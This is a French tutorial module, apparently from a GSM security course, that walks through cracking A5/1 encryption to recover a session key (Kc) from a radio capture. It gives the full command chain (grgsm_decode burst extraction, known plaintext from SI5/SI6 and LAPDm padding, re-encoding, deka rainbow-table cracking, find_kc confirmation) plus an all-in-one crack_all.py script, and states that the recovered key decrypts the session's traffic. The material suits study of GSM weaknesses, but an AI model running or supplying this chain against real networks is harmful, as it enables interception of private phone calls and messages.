Casser A5/1 — de la capture au Kc

Récupérer le Kc de session d'une communication GSM chiffrée, à partir d'une simple capture .cfile, par attaque à plaintext connu + tables arc-en-ciel A5/1 (Kraken / deka). Outils : github.com/bbaranoff/a51_tools

Le principe

A5/1 est un chiffrement par flot : chiffré = plaintext ⊕ keystream, où le keystream ne dépend que de (Kc, numéro de trame). L'attaquant ne calcule jamais A5/1 — il lui suffit d'un segment de keystream (≥ 64 bits sans erreur), que Kraken/deka retournent vers l'état interne, donc le Kc.

Or on obtient du keystream sans la clé, par XOR avec du plaintext connu :

D'où vient le plaintext connu ? De trames descendantes prévisibles, lisibles sans la clé :

• le bourrage LAPDm (0x2b), omniprésent dès qu'il n'y a rien à transmettre ;
• SI5 / SI6 sur la SACCH — contenu fixe, dont le LAI/cell est identique à celui diffusé en clair sur le BCCH (jamais chiffré).

La chaîne complète

1. Extraire les bursts chiffrés (sans clé)

grgsm_decode -m TCHF -t 2 -a 514 -s 1083333 \
  -c slice_dl.cfile -p -o speech.gsm > my.bursts

-p imprime les bursts (FN count: 114 bits) ; pas de -e/-k, donc les bursts restent chiffrés.

2. Retrouver le plaintext connu

Décoder le BCCH (jamais chiffré) livre SI5/SI6 et le bourrage. Une trame SACCH fait 23 octets, ex. SI6 :

07 00 03 03 2d 06 1e 17 71 00 f1 10 00 01 27 ff 2b 2b 2b 2b 2b 2b 2b

3. Ré-encoder le plaintext en bursts (GSM 05.03)

gsmcode.py reproduit la chaîne Fire (224,184) + tail + convolutif ½ (K=5) + entrelacement 4 bursts, validée au bit près (msb_first=False, invert=True).

4. XOR → keystream, puis 5. cracker sur deka

telnet 0 6666
crack 0011101000000011000100010101100011101000001011001111101100001000...
# -> Found 6FDDE217FE88D7A2 @ 2 #N (table:124)

6. Confirmer le Kc avec find_kc

DEC=$(python3 -c "print(int('6FDDE217FE88D7A2',16))")
/mnt/kraken/Utilities/find_kc ${DEC}x 2 <framecount1> <framecount2> <keystream2>
# KC(1): 9c d6 ed 7c ff d3 d0 00  *** MATCHED ***

Tout en un : crack_all.py

# deka doit tourner (paplon.py + oclvankus.py + delta_client.py, port 6666)
python3 crack_all.py slice_dl.cfile

Le script fait tout depuis le .cfile : auto-détection du sample-rate, extraction des bursts chiffrés, dérivation du plaintext (SI en clair, TA=0), groupement en blocs de 4 trames, soumission en masse à deka, puis croisement find_kc.

Un crack réel (rapport crack_all.py)

Le Kc en main, tout le trafic chiffré de la session se déchiffre — et la signature COMP128v1 se lit dans les derniers octets nuls du Kc (voir module 9, étape 7).

Scripts du dépôt

Modules liés : 8 — Émulation du baseband Calypso · 9 — GSM étape par étape.